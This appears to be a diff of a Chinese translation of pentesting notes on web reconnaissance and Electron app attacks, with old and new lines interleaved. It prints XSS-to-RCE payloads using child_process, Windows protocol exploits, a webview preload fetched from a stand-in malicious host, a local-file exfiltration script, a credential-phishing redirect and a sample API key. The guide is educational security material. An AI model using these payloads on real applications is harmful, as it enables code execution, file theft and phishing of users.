- **Comments:** 检查所有文件的注释,可能会找到 **credentials****hidden functionality**。
- 如果你在**CTF**,一个“常见”的技巧是在页面的**右边**通过注释隐藏信息(使用**数百个空格**,以便在用浏览器打开源码时看不到数据)。另一种可能是使用**多个换行**并在页底部的注释中**隐藏信息**。
- **API keys**:如果你**发现任何 API key**,有一些指南说明如何使用不同平台的 API keys [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: 如果你发现任何**AIza** 开头的 API key例如看起来像 **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik),你可以使用项目 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 来检查该 key 可以访问哪些 apis。
- **S3 Buckets**:在 spidering 时检查是否有任何 **subdomain** 或任何 **link** 与某个 **S3 bucket** 相关。如果是这种情况,请 [**check** the **permissions** of the bucket](buckets/index.html)。
### Special findings
在执行 **spidering****brute-forcing** 时,你可能会发现需要特别**注意**的**有趣**的**东西**。
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
**Interesting files**
- **CSS** 文件中查找指向其他文件的 **links**
- Look for **links** to other files inside the **CSS** files.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- 如果你发现 _**.env**_,可以找到诸如 api keys、db 密码和其他信息。
- 如果你发现 **API endpoints**,你[也应该测试它们](web-api-pentesting.md)。这些不是文件,但它们很可能“看起来像”文件。
- **JS files**: 在 spidering 部分列出了若干可以从 JS 文件中提取路径的工具。另外,监控每个发现的 JS 文件也很有意义,因为在某些情况下,文件的变化可能表明代码中引入了潜在漏洞。你可以例如使用 [**JSMon**](https://github.com/robre/jsmon)****
- 你还应该使用 [**RetireJS**](https://github.com/retirejs/retire.js/) 或 [**JSHole**](https://github.com/callforpapers-source/jshole) 检查发现的 JS 文件以判断它们是否存在已知漏洞。
- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
- **JS files**:在 spidering 部分提到了多个可以从 JS files 提取路径的工具。此外,建议对每个找到的 JS file 做监控,因为在某些情况下,文件的变化可能表明代码中引入了潜在漏洞。你可以例如使用 [**JSMon**](https://github.com/robre/jsmon)**.**
- 你还应该使用 [**RetireJS**](https://github.com/retirejs/retire.js/) 或 [**JSHole**](https://github.com/callforpapers-source/jshole) 检查发现的 JS files 以判断是否存在已知漏洞。
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- 在很多场景下,你需要**理解正则表达式**的用法,这会很有帮助: [https://regex101.com/](https://regex101.com) 或 [https://pythonium.net/regex](https://pythonium.net/regex)
- 你还可以**监控检测到表单的文件**,因为参数变化或新表单的出现可能表明潜在的新漏洞功能。
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -313,21 +313,21 @@ _注意每当在 brute-forcing 或 spidering 过程中发现新目录时,
**502 Proxy Error**
如果任何页面以该 **code** 响应,很可能是一个 **配置错误的 proxy**。**如果你发送一个像这样的 HTTP 请求: `GET https://google.com HTTP/1.1`**(包含 host header 和其他常见头proxy 会尝试访问 _**google.com**_,那么你就发现了一个 **SSRF**
If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
**NTLM Authentication - Info disclosure**
如果要求认证的运行服务器是 **Windows**,或者你发现一个要求你输入 **credentials**(并要求 **domain** **name**)的登录,你可以触发一个**信息泄露**。\
**发送** 头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于 **NTLM authentication** 的工作机制,服务器会在头 "WWW-Authenticate" 中返回内部信息IIS 版本、Windows 版本...)。\
你可以使用 nmap 插件 "_http-ntlm-info.nse_" 来**自动化**此操作。
If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
可以把内容放在 **Redirection** 中。这些内容**不会显示给用户**(因为浏览器会执行重定向),但有东西可能被**隐藏**在里面。
It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
### Web Vulnerabilities Checking
在对 web 应用进行了全面枚举之后,就该检查大量可能的漏洞了。你可以在这里找到检查清单:
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
{{#ref}}
@ -342,7 +342,7 @@ Find more info about web vulns in:
### Monitor Pages for changes
你可以使用像 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 这样的工具来监控页面修改,这些修改可能引入漏洞。
You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities.
### HackTricks Automatic Commands
```

View File

@ -4,23 +4,23 @@
## 介绍
Electron 将本地后端(使用 **NodeJS**和前端(使用 **Chromium**)结合在一起,尽管它缺少现代浏览器的一些安全机制。
Electron 将本地后端(使用 **NodeJS**与前端(**Chromium**)结合在一起,但它缺少现代浏览器的一些安全机制。
通常你可能会在 `.asar` 应用中找到 Electron 应用的代码,获取这些代码你需要将其提取:
通常你可能会在一个 `.asar` 应用中找到 Electron 应用的代码,为了获取这些代码你需要将其提取:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
在 Electron 应用的源代码中,在 `packet.json` 内,你可以看到指定了 `main.js` 文件,其中设置了安全配置。
在 Electron 应用的源代码里,`packet.json` 中会指定 `main.js`,安全配置就在该文件中设置。
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron 有 2 种进程类型:
Electron 有种进程类型:
- 主进程(可完全访问 NodeJS
- 渲染进程(出于安全原因限制对 NodeJS 的访问)
- 主进程(可完全访问 NodeJS
- 渲染进程(出于安全原因应限制对 NodeJS 的访问)
![](<../../../images/image (182).png>)
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Settings of the **渲染进程** can be **配置** in the **主进程** inside the main.js file. Some of the configurations will **阻止 Electron 应用程序 获取 RCE** or other vulnerabilities if the **设置正确配置**
可以在 main.js 文件内的 **主进程****配置** **渲染进程** 的设置。如果 **设置正确配置**,其中一些配置可以 **防止 Electron 应用遭受 RCE** 或其他漏洞利用
The Electron application **能够访问设备** via Node apis although it can be configure to prevent it:
Electron 应用虽然可以通过 Node API 访问设备,但可以通过配置来阻止:
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the 渲染进程.
- **`contextIsolation`** - is `on` by default. If off, 主进程 and 渲染进程 aren't isolated.
- **`preload`** - empty by default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
- **`nodeIntegration`** - 默认为 `off`。如果为 on则允许从渲染进程访问 Node 功能。
- **`contextIsolation`** - 默认为 `on`。如果为 off主进程和渲染进程不会被隔离。
- **`preload`** - 默认为空。
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认为 off。它会限制 NodeJS 可以执行的操作。
- Node Integration in Workers
- **`nodeIntegrationInSubframes`**- is `off` by default.
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **加载在 iframes 中** within an Electron application.
- If **`nodeIntegration`** is **disabled**, then preload 会在 iframe 中加载
- **`nodeIntegrationInSubframes`**- 默认为 `off`
- 如果 **`nodeIntegration`** 被 **enabled**,这将允许在 Electron 应用中加载到 **iframes** 的网页中使用 **Node.js APIs**
- 如果 **`nodeIntegration`** 被 **disabled**,则 preload 会在 iframe 中加载
Example of configuration:
```javascript
@ -97,14 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### 捕获流量
修改 start-main 配置并添加 proxy 的使用,例如:
修改 start-main 配置并添加 proxy例如
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
如果你能在本地执行一个 Electron App可能会让它执行任意的 javascript 代码。详见:
如果你可以在本地执行一个 Electron App可能使其执行任意 javascript 代码。查看:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -112,7 +111,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
## RCE: XSS + nodeIntegration
如果 **nodeIntegration** 被设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 功能。例如,在 Windows 上执行 calc 应用的方式是:
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 只需调用 `require()` 就能轻易使用 Node.js 的功能。例如,在 Windows 上执行 calc 应用的方法是:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
此设置中指定的脚本是 l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**:
该设置中指定的脚本在 **renderer 中比其他脚本更早加载**,因此它对 **Node APIs** 拥有 **无限访问权限**
```javascript
new BrowserWindow{
webPreferences: {
@ -149,17 +148,17 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **如果 `contextIsolation` 启用,则此方法无效**
> [!NOTE] > **如果 `contextIsolation` 被启用,则此方法不起作用**
## RCE: XSS + contextIsolation
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
The _**contextIsolation**_ 在网页脚本与 Electron 的内部 JavaScript 代码之间引入了**隔离的执行上下文**,使得各自的 JavaScript 执行互不影响。这是消除 RCE 可能性所必需的功能。
If the contexts aren't isolated an attacker can:
如果上下文没有被隔离,攻击者可以:
1. Execute **在 renderer 中的任意 JavaScript** (XSS or navigation to external sites)
2. **覆盖内置方法**,该方法在 preload 或 Electron 内部代码中被使用以控制函数
3. **触发****被覆盖函数** 的调用
1. 执行 **任意 JavaScript 在 renderer 中**XSS 或导航到外部站点)
2. **覆盖内建方法**,该方法被用于 preload 或 Electron 的内部代码,从而控制该函数
3. **触发****被覆盖函数** 的调用
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
@ -181,34 +180,34 @@ electron-contextisolation-rce-via-ipc.md
### 绕过点击事件
如果在点击链接时存在限制,你可能可以通过 **使用中键点击** 而非常规的左键点击 来绕过它们
如果在点击链接时有施加限制,你可以尝试通过 **使用中键点击** 而不是常规的左键点击来绕过这些限制
```javascript
window.addEventListener('click', (e) => {
```
## RCE 通过 shell.openExternal
## 通过 shell.openExternal 的 RCE
有关这些示例的更多信息,请参阅 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
有关示例的更多信息,请参阅 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
在部署 Electron 桌面应用时,确保 `nodeIntegration``contextIsolation`设置正确至关重要。已经确定,当这些设置就位时,可以有效防止来自主进程、针对 preload 脚本或 Electron 原生代码的 **client-side remote code execution (RCE)**
在部署 Electron 桌面应用时,确保 `nodeIntegration``contextIsolation`正确配置至关重要。已确定:配置这些设置后,可以有效防止来自主进程针对 preload scripts 或 Electron 的本机代码的 **client-side remote code execution (RCE)**
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对于应用的安全性和功能至关重要:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
这些监听器**被桌面应用程序重写**以实现其自身的**业务逻辑**。应用程序会评估导航到的链接是应在应用内打开还是在外部 web 浏览器中打开。这个决定通常通过一个函数,`openInternally`,来做出。如果该函数返回 `false`,则表示该链接应在外部打开,使用 `shell.openExternal` 函数。
这些监听器被桌面应用程序**重写**以实现其**业务逻辑**。应用程序会评估被导航到的链接是应该在应用内打开还是在外部浏览器中打开。通常通过名为 `openInternally` 的函数来做出此决定。如果该函数返回 `false`,则表示应在外部打开该链接,使用 `shell.openExternal` 函数。
**Here is a simplified pseudocode:**
**下面是简化的伪代码:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS 安全最佳实践建议不要通过 `openExternal` 函数接受不受信任的内容,因为这可能通过各种协议导致 RCE。操作系统支持不同的协议这些协议可能触发 RCE。有关此主题的详细示例和进一步说明可参阅 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042),其中包含能够利用此漏洞的 Windows 协议示例。
Electron JS 的安全最佳实践建议不要用 `openExternal` 接受不受信任的内容,因为这可能通过各种协议导致 RCE远程代码执行。不同的操作系统支持可能触发 RCE 的不同协议。有关详细示例和进一步说明,请参见 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括可用于利用此漏洞的 Windows 协议示例。
在 macos 中,`openExternal` 函数可以被利用来执行任意命令,例如 `shell.openExternal('file:///System/Applications/Calculator.app')`
**Examples of Windows protocol exploits include:**
**Windows 协议利用示例包括:**
```html
<script>
window.open(
@ -228,17 +227,17 @@ window.open(
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
## RCE: webviewTag + 存在漏洞的 preload IPC + shell.openExternal
该 vuln 可**[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。
这个漏洞可以**[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。
**webviewTag** 是一个 **deprecated feature**,允许在 **renderer process** 中使用 **NodeJS**。应将其禁用,因为它允许在 **preload context** 中加载脚本,例如:
**webviewTag** 是一个 **已弃用的功能**,允许在 **renderer process** 中使用 **NodeJS**,应该禁用它,因为它允许在 preload context 中加载脚本,例如:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
因此,能够加载任意页面的攻击者可以使用该标签来 **load an arbitrary preload script**
因此,能够加载任意页面的攻击者可以用该标签来 **load an arbitrary preload script**
随后,该 preload script 被滥用来调用一个 **vulnerable IPC service (`skype-new-window`)**,该服务正在调用调用 **`shell.openExternal`** 来获得 RCE
这个 preload script 随后被滥用来调用一个 **vulnerable IPC service (`skype-new-window`)**,该服务调用调用 **`shell.openExternal`** 来获得 RCE
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## 读取内部文件XSS + contextIsolation
**禁用 `contextIsolation` 允许使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取并 leak 本地文件。下面的示例演示如何利用此漏洞读取内部文件的内容:
**禁用 `contextIsolation` 允许使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取并 exfiltrating 本地文件。下面的示例演示如何利用此漏洞读取内部文件的内容:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
此外,还分享了另一种**读取内部文件**的方法,强调了 Electron desktop app 中的一个严重本地文件读取漏洞。该方法涉及注入脚本以利用应用并 exfiltrate 数据:
此外,还提供了另一种**读取内部文件**的方法,指出了 Electron 桌面应用中一个严重的本地文件读取漏洞。该方法通过注入脚本来利用应用并 exfiltrate 数据:
```html
<br /><br /><br /><br />
<h1>
@ -271,27 +270,23 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + 过时的 chromium**
## **RCE: XSS + 过时的 Chromium**
如果应用使用的 **chromium** 版本**过旧**,且存在已知的 **漏洞**,则可能通过 **XSS** **利用它并获得 RCE**。\\
你可以在这 **writeup** 中看到一个示例: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
如果应用使用的 **chromium** **过时的** 并且上面存在 **已知****漏洞**,就可能通过 XSS **利用它并获得 RCE**\
你可以在这 **writeup** 中看到一个示例: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing(通过 Internal URL regex bypass**
## **XSS Phishing via Internal URL regex bypass**
假设你发现了一个 XSS但你**无法触发 RCE 或窃取内部文件**,你可以尝试利用它**通过 phishing 窃取凭证**
假设你发现了一个 XSS但你 **无法触发 RCE 或窃取内部文件**,你可以尝试利用它通过钓鱼 **窃取凭证**
首先,你需要了解当尝试打开一个新 URL 时会发生什么,可以通过检查前端的 JS 代码来确认
首先,你需要了解当尝试打开一个新 URL 时会发生什么,检查前端的 JS 代码:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
**`openInternally`** 的调用会决定该 **link** 是否会作为属于平台的链接在 **桌面窗口****打开****或** 是否会在 **浏览器(作为第三方资源)****打开**
在对 **`openInternally`** 的调用中,会决定该 **link** 是否作为属于平台的链接在 **desktop window****打开****or** 是否会在 **browser as a 3rd party resource** 中打开。
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
如果该函数使用的 **regex** 存在 **易于被绕过**(例如 **未对子域名中的点进行转义**),攻击者可以滥用 XSS 去 **打开一个新窗口**,该窗口位于攻击者的基础设施中,**向用户索取凭证**
在函数使用的 **regex** 存在 **vulnerable to bypasses** 的情况下(例如 **not escaping the dots of subdomains**),攻击者可以滥用 **XSS****打开一个新窗口**,该窗口将位于攻击者的基础设施中,向用户 **asking for credentials**
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -299,21 +294,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` 协议
正如 [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 所述,运行在 **`file://`** 上的页面对你机器上的每个文件都有单向访问权限,这意味着 **XSS 问题可被用来从用户机器加载任意文件**。使用 **自定义协议** 可以防止此类问题,因为你可以将协议限制为仅提供特定的一组文件。
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 页面运行在 **`file://`** 的页面可以单方面访问你机器上的所有文件,这意味着 **XSS issues can be used to load arbitrary files** 从用户的机器加载任意文件。使用 **custom protocol** 可以防止此类问题,因为你可以将协议限制为只提供特定的一组文件。
## Remote module
## Remote 模块
The Electron Remote module 允许 **renderer processes 访问 main process APIs**,便于 Electron 应用内部通信。然而,启用此模块会引入重大的安全风险。它扩大了应用的攻击面,使其更容易受到诸如跨站脚本 (XSS) 攻击等漏洞的影响。
The Electron Remote module 允许 **渲染进程访问主进程的 API**,方便 Electron 应用内部的通信。然而,启用该模块会引入严重的安全风险。它扩大了应用的攻击面,使其更容易受到诸如 跨站脚本 (XSS) 等漏洞的影响。
> [!TIP]
> 虽然 **remote** module 会将某些 API 从 main 暴露给 renderer processes但仅通过滥用这些组件并不容易直接获得 RCE。然而这些组件可能会暴露敏感信息。
> 虽然 **remote** 模块会将一些 API 从主进程暴露给渲染进程,但仅仅滥用这些组件并不容易直接获得 RCE。然而这些组件可能会暴露敏感信息。
> [!WARNING]
> 许多仍使用 remote module 的应用以需要在 renderer process 中启用 **NodeIntegration** 的方式使用它,这构成了**巨大的安全风险**
> 许多仍然使用 remote 模块的应用以需要在渲染进程中启用 **NodeIntegration** 的方式使用它,这是一项 **巨大的安全风险**
自 Electron 14 起,`remote` 模块可能仍可通过多个步骤启用,但出于安全和性能原因,**建议不要使用它**。
自 Electron 14 起,Electron 的 `remote` 模块可能在多个步骤中被启用,但基于安全和性能的原因,**建议不要使用它**。
要启用它,首先需要在 **main process** 中启用
要启用它,首先需要在主进程中**启用它**
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -324,28 +319,28 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
然后,渲染进程可以像下面这样从模块导入对象:
然后,渲染进程可以像下面这样从模块导入对象:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** 指出 remote 模块中对象 **`app`** 暴露的一些有趣的 **函数**
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** 指出来自 remote module 的对象 **`app`** 暴露了一些有趣的 **函数**
- **`app.relaunch([options])`**
- **重启** 应用,通过 **退出** 当前实例并 **启动** 新实例。对 **app 更新** 或重要的 **状态变更**有用。
- **重启** 应用程序,通过 **退出** 当前实例并 **启动** 新实例。对 **应用更新** 或重大的 **状态更改** 非常有用。
- **`app.setAppLogsPath([path])`**
- **定义****创建** 用于存储 **app logs** 的目录。日志可以通过 **`app.getPath()`** 或 **`app.setPath(pathName, newPath)`** 被 **检索****修改**
- **定义**或**创建**用于存储**应用日志**的目录。可以使用 **`app.getPath()`** 或 **`app.setPath(pathName, newPath)`** 来**检索**或**修改**这些日志
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **注册** 当前可执行文件为指定 **protocol****默认处理程序**。如有需要,可以提供 **自定义 path****arguments**
- **将**当前可执行文件注册为指定**协议**的**默认处理程序**。如有需要,可以提供**自定义路径**和**参数**
- **`app.setUserTasks(tasks)`**
- **将** 任务添加到 **Jump List****Tasks category**Windows。每个任务可以控制应用如何 **启动** 或传递哪些 **arguments**
- **向** **Jump List****Tasks category** 添加任务(在 Windows 上)。每个任务可以控制应用如何**启动**或传递哪些**参数**
- **`app.importCertificate(options, callback)`**
- **导入** 一个 **PKCS#12 certificate** 到系统的 **certificate store**(仅 Linux。可以使用 **callback** 来处理结果。
- **将**PKCS#12 证书导入系统的**证书存储**(仅限 Linux。可以使用**回调**来处理结果。
- **`app.moveToApplicationsFolder([options])`**
- **将** 应用移动到 **Applications folder**macOS。有助于确保 Mac 用户的 **标准安装**
- **将**应用移动到 **Applications folder**macOS)。有助于确保 Mac 用户的**标准安装**。
- **`app.setJumpList(categories)`**
- **设置****移除** Windows 上的 **custom Jump List**。你可以指定 **categories** 来组织任务在用户界面中的显示方式。
- **设置**或**移除** Windows 上的**自定义 Jump List**。可以指定**categories** 来组织任务在用户界面中的显示方式。
- **`app.setLoginItemSettings(settings)`**
- **配置** 哪些 **executables** 会在 **login** 时启动以及它们的 **options**(仅 macOS 和 Windows
- **配置**哪些**可执行文件**在**登录**时启动以及它们的**选项**(仅限 macOS 和 Windows
Example:
```javascript
@ -354,7 +349,7 @@ Native.app.exit()
```
## systemPreferences 模块
这是 Electron 中用于访问系统偏好**发出系统事件****主要 API**。诸如 **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault****setUserDefault** 等方法都 **属于** 该模块
这是 Electron 中用于访问系统偏好设置和**触发系统事件**的**主要 API**。像 **subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault** 和 **setUserDefault** 这样的方法都是**该模块的一部分**
**示例用法:**
```javascript
@ -371,31 +366,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **监听** 使用 NSDistributedNotificationCenter 的 **原生 macOS 通知**。
* 在 **macOS Catalina** 之前,可以通过向 CFNotificationCenterAddObserver 传递 **nil** 来嗅探 **所有**布式通知。
* 在 **Catalina / Big Sur** 之后,沙盒化应用仍然可以通过按 **名称** 注册通知来 **订阅** 许多事件(例如 **屏幕锁定/解锁**、**挂载卷**、**网络活动** 等)。
* **监听** 使用 NSDistributedNotificationCenter 的 **native macOS notifications**。
* 在 **macOS Catalina** 之前,可以通过向 CFNotificationCenterAddObserver 传递 **nil** 来嗅探 **所有**发的通知。
* 在 **Catalina / Big Sur** 之后,沙盒化应用仍然可以通过按名称注册通知来**订阅**许多事件(例如 **screen locks/unlocks**、**volume mounts**、**network activity** 等)。
### **getUserDefault / setUserDefault**
* **NSUserDefaults** 交互NSUserDefaults 在 macOS 上存储 **应用****全局** 首选项
* **与 NSUserDefaults 交互**NSUserDefaults 在 macOS 上存储**application**或**global**偏好设置
* **getUserDefault** 可以 **检索** 敏感信息,例如 **最近文件位置****用户的地理位置**。
* **getUserDefault** 可以**检索**敏感信息,例如 **recent file locations****users geographic location**。
* **setUserDefault** 可以 **修改** 这些首选项,可能会影响应用的 **配置**
* **setUserDefault** 可以**修改**这些偏好,可能影响应用的**configuration**
* 在 **较旧的 Electron 版本**v8.3.0 之前),只有 NSUserDefaults 的 **standard suite** 可被访问
* 在 **older Electron versions**v8.3.0 之前),只有 NSUserDefaults 的**standard suite**可**访问**
## Shell.showItemInFolder
此函数在文件管理器中显示给定文件,可能会**自动执行该文件**。
此函数在文件管理器中显示给定的文件,该操作**could automatically execute the file**。
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
Electron 应用应该有 **Content Security Policy (CSP)** 以**prevent XSS attacks**。**CSP** 是一项**security standard**,有助于**prevent**浏览器中**execution**不受信任的代码。
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
通常在 **`main.js`** 文件或 **`index.html`** 模板中配置 CSPCSP 放在 **meta tag** 内。
For more information check:
@ -407,16 +402,16 @@ pentesting-web/content-security-policy-csp-bypass/
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个用于识别基于 Electron 应用中错误配置和安全反模式的工具。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个开源的 VS Code 插件,针对 Electron 应用使用 Electronegativity。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查易受攻击的第三方库
- [**Electro.ng**](https://electro.ng/): 需要购买
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 是用于识别 Electron 应用中错误配置和安全反模式的工具。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个开源的 VS Code 插件,针对 Electron 应用使用 Electronegativity。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查存在漏洞的第三方库。
- [**Electro.ng**](https://electro.ng/): 需要付费购买
## Labs
在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 可以找到一个用于利用易受攻击 Electron 应用的实验。
在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 可以找到一个用于利用易受攻击 Electron 应用的实验
下面是一些在实验中对你有帮助的命令:
下面是一些将帮助你完成该 lab 的命令:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -439,18 +434,18 @@ cd vulnerable1
npm install
npm start
```
## 本地 backdooring 通过 V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
## 通过篡改 V8 堆快照实现本地后门Electron/Chromium CVE-2025-55305
Electron 和基于 Chromium 的应用在启动时会反序列化预构建的 V8 heap snapshotv8_context_snapshot.bin及可选的 browser_v8_context_snapshot.bin来初始化每个 V8 isolatemain、preload、renderer。历史上Electron 的 integrity fuses 并未将这些 snapshot 视为可执行内容,因此它们逃避了基于 fuse 的完整性强制和操作系统的代码签名检查。因此,在允许用户写入的安装目录中替换该 snapshot能够在不修改签名二进制或 ASAR 的情况下,在应用内提供隐蔽、持久的代码执行。
